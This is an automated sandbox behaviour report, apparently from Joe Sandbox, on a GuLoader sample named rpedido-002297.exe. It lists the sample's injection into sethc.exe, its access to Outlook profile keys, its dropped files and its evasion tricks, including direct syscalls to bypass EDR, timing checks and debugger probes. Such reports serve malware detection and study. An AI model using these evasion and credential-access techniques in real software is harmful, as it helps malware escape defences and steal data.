Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: playsndsrv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\rpedido-002297.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\rpedido-002297.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Gaulin.ini

Source: C:\Windows\SysWOW64\sethc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: rpedido-002297.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: rpedido-002297.exe, 00000001.00000001.11333413341.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: sethc.pdbGCTL source: rpedido-002297.exe, 00000001.00000003.11694542608.0000000002206000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11694914267.00000000321E1000.00000004.00000020.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000002.00000003.15121383820.00000000007CB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ffHgJPmoWftQT.exe, 00000002.00000000.11649403599.00000000003DE000.00000002.00000001.01000000.0000000B.sdmp, ffHgJPmoWftQT.exe, 00000004.00000002.16208405486.00000000003DE000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: wntdll.pdbUGP source: rpedido-002297.exe, 00000001.00000003.11634696456.000000003215B000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11739011887.00000000324B0000.00000040.00001000.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11739011887.00000000325DD000.00000040.00001000.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11638205467.0000000032305000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000003.11730025841.0000000004AB1000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000002.15398909028.0000000004D8D000.00000040.00001000.00020000.00000000.sdmp, sethc.exe, 00000003.00000002.15398909028.0000000004C60000.00000040.00001000.00020000.00000000.sdmp, sethc.exe, 00000003.00000003.11726808924.0000000004902000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: rpedido-002297.exe, rpedido-002297.exe, 00000001.00000003.11634696456.000000003215B000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11739011887.00000000324B0000.00000040.00001000.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11739011887.00000000325DD000.00000040.00001000.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11638205467.0000000032305000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, sethc.exe, 00000003.00000003.11730025841.0000000004AB1000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000002.15398909028.0000000004D8D000.00000040.00001000.00020000.00000000.sdmp, sethc.exe, 00000003.00000002.15398909028.0000000004C60000.00000040.00001000.00020000.00000000.sdmp, sethc.exe, 00000003.00000003.11726808924.0000000004902000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sethc.pdb source: rpedido-002297.exe, 00000001.00000003.11694542608.0000000002206000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11694914267.00000000321E1000.00000004.00000020.00020000.00000000.sdmp, ffHgJPmoWftQT.exe, 00000002.00000003.15121383820.00000000007CB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: rpedido-002297.exe, 00000001.00000001.11333413341.0000000000649000.00000020.00000001.01000000.00000007.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.11416081363.00000000033EA000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.11416081363.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.11415630740.00000000029B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.11726029676.0000000001660000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\Betalingsunderskud.Smm, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\nss65F.tmp, type: DROPPED

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E08CD push ecx; mov dword ptr [esp], ecx	1_2_324E08D6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C908CD push ecx; mov dword ptr [esp], ecx	3_2_04C908D6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FB5485 push ebx; retf	3_2_04FB54B6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FB3DF4 push es; ret	3_2_04FB3DFE
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBF7B3 push 00000006h; iretd	3_2_04FBF7B5
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FB5F61 pushfd ; iretd	3_2_04FB5F62
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBD1DF push 0000000Eh; iretd	3_2_04FBD1E6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FC5272 push eax; ret	3_2_04FC5274
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FB0A66 push esp; iretd	3_2_04FB0A6E
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FB5BFD push ss; retf	3_2_04FB5C05
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBBB38 push edx; ret	3_2_04FBBB49

Source: C:\Users\user\Desktop\rpedido-002297.exe

File created: C:\Users\user\AppData\Local\Temp\nspC5B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rpedido-002297.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\rpedido-002297.exe	API/Special instruction interceptor: Address: 3929EB2
Source: C:\Users\user\Desktop\rpedido-002297.exe	API/Special instruction interceptor: Address: 1CC9EB2
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD144
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD604
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD764
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD324
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD364
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD004
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AFF74
Source: C:\Windows\SysWOW64\sethc.exe	API/Special instruction interceptor: Address: 7FFF0E5AD864

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 1_2_32521763 rdtsc

1_2_32521763

Source: C:\Windows\SysWOW64\sethc.exe

Window / User API: threadDelayed 9014

Source: C:\Users\user\Desktop\rpedido-002297.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nspC5B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rpedido-002297.exe	API coverage: 0.1 %
Source: C:\Windows\SysWOW64\sethc.exe	API coverage: 1.9 %

Source: C:\Windows\SysWOW64\sethc.exe TID: 7840	Thread sleep count: 137 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe TID: 7840	Thread sleep time: -274000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe TID: 7840	Thread sleep count: 9014 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe TID: 7840	Thread sleep time: -18028000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe TID: 3996	Thread sleep time: -110000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe TID: 3996	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe TID: 3996	Thread sleep time: -70500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe TID: 3996	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe TID: 3996	Thread sleep time: -54000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\sethc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sethc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 0_2_004066F3 FindFirstFileW,FindClose,	0_2_004066F3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 0_2_00405ABE CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405ABE
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: firefox.exe, 00000006.00000002.12032772941.0000021732277000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;;(
Source: rpedido-002297.exe, 00000001.00000002.11728203940.0000000002163000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: ffHgJPmoWftQT.exe, 00000004.00000002.16209658293.000000000110F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: rpedido-002297.exe, 00000001.00000003.11635819939.00000000021A7000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11694781312.00000000021A7000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000002.11728409149.00000000021A7000.00000004.00000020.00020000.00000000.sdmp, rpedido-002297.exe, 00000001.00000003.11635406038.00000000021A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sethc.exe, 00000003.00000002.15397358702.0000000002F1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,(

Source: C:\Users\user\Desktop\rpedido-002297.exe	API call chain: ExitProcess graph end node			graph_0-4671
Source: C:\Users\user\Desktop\rpedido-002297.exe	API call chain: ExitProcess graph end node			graph_0-4513

Source: C:\Windows\SysWOW64\sethc.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\sethc.exe

Process queried: DebugPort

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 1_2_32521763 rdtsc

1_2_32521763

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 0_2_00401E43 LdrInitializeThunk,ShowWindow,EnableWindow,

0_2_00401E43

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255D250 mov eax, dword ptr fs:[00000030h]	1_2_3255D250
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255D250 mov ecx, dword ptr fs:[00000030h]	1_2_3255D250
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F24A mov eax, dword ptr fs:[00000030h]	1_2_3250F24A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F247 mov eax, dword ptr fs:[00000030h]	1_2_3259F247
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259D270 mov eax, dword ptr fs:[00000030h]	1_2_3259D270
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257327E mov eax, dword ptr fs:[00000030h]	1_2_3257327E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257327E mov eax, dword ptr fs:[00000030h]	1_2_3257327E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257327E mov eax, dword ptr fs:[00000030h]	1_2_3257327E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257327E mov eax, dword ptr fs:[00000030h]	1_2_3257327E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257327E mov eax, dword ptr fs:[00000030h]	1_2_3257327E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3257327E mov eax, dword ptr fs:[00000030h]	1_2_3257327E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB273 mov eax, dword ptr fs:[00000030h]	1_2_324DB273
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB273 mov eax, dword ptr fs:[00000030h]	1_2_324DB273
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB273 mov eax, dword ptr fs:[00000030h]	1_2_324DB273
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256B214 mov eax, dword ptr fs:[00000030h]	1_2_3256B214
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256B214 mov eax, dword ptr fs:[00000030h]	1_2_3256B214
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DA200 mov eax, dword ptr fs:[00000030h]	1_2_324DA200
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D821B mov eax, dword ptr fs:[00000030h]	1_2_324D821B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32500230 mov ecx, dword ptr fs:[00000030h]	1_2_32500230
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32560227 mov eax, dword ptr fs:[00000030h]	1_2_32560227
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32560227 mov eax, dword ptr fs:[00000030h]	1_2_32560227
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32560227 mov eax, dword ptr fs:[00000030h]	1_2_32560227
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A22B mov eax, dword ptr fs:[00000030h]	1_2_3251A22B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A22B mov eax, dword ptr fs:[00000030h]	1_2_3251A22B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A22B mov eax, dword ptr fs:[00000030h]	1_2_3251A22B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B32C9 mov eax, dword ptr fs:[00000030h]	1_2_325B32C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325032C5 mov eax, dword ptr fs:[00000030h]	1_2_325032C5
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DD2EC mov eax, dword ptr fs:[00000030h]	1_2_324DD2EC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DD2EC mov eax, dword ptr fs:[00000030h]	1_2_324DD2EC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D72E0 mov eax, dword ptr fs:[00000030h]	1_2_324D72E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA2E0 mov eax, dword ptr fs:[00000030h]	1_2_324EA2E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA2E0 mov eax, dword ptr fs:[00000030h]	1_2_324EA2E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA2E0 mov eax, dword ptr fs:[00000030h]	1_2_324EA2E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA2E0 mov eax, dword ptr fs:[00000030h]	1_2_324EA2E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA2E0 mov eax, dword ptr fs:[00000030h]	1_2_324EA2E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EA2E0 mov eax, dword ptr fs:[00000030h]	1_2_324EA2E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E82E0 mov eax, dword ptr fs:[00000030h]	1_2_324E82E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E82E0 mov eax, dword ptr fs:[00000030h]	1_2_324E82E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E82E0 mov eax, dword ptr fs:[00000030h]	1_2_324E82E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E82E0 mov eax, dword ptr fs:[00000030h]	1_2_324E82E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F02F9 mov eax, dword ptr fs:[00000030h]	1_2_324F02F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E289 mov eax, dword ptr fs:[00000030h]	1_2_3255E289
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E7290 mov eax, dword ptr fs:[00000030h]	1_2_324E7290
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E7290 mov eax, dword ptr fs:[00000030h]	1_2_324E7290
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E7290 mov eax, dword ptr fs:[00000030h]	1_2_324E7290
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D92AF mov eax, dword ptr fs:[00000030h]	1_2_324D92AF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BB2BC mov eax, dword ptr fs:[00000030h]	1_2_325BB2BC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BB2BC mov eax, dword ptr fs:[00000030h]	1_2_325BB2BC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BB2BC mov eax, dword ptr fs:[00000030h]	1_2_325BB2BC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BB2BC mov eax, dword ptr fs:[00000030h]	1_2_325BB2BC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A92AB mov eax, dword ptr fs:[00000030h]	1_2_325A92AB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F2AE mov eax, dword ptr fs:[00000030h]	1_2_3259F2AE
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DC2B0 mov ecx, dword ptr fs:[00000030h]	1_2_324DC2B0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325042AF mov eax, dword ptr fs:[00000030h]	1_2_325042AF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325042AF mov eax, dword ptr fs:[00000030h]	1_2_325042AF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A350 mov eax, dword ptr fs:[00000030h]	1_2_3251A350
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D8347 mov eax, dword ptr fs:[00000030h]	1_2_324D8347
